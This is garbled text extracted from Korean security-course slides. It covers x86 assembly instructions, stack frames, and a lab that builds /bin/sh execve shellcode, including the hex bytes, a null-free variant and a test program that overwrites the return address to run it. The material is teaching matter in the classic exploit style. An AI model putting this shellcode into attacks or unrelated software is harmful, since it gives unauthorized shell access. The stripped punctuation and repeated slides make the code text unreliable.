ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 45: 80×86  시스템에 대한 이해

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

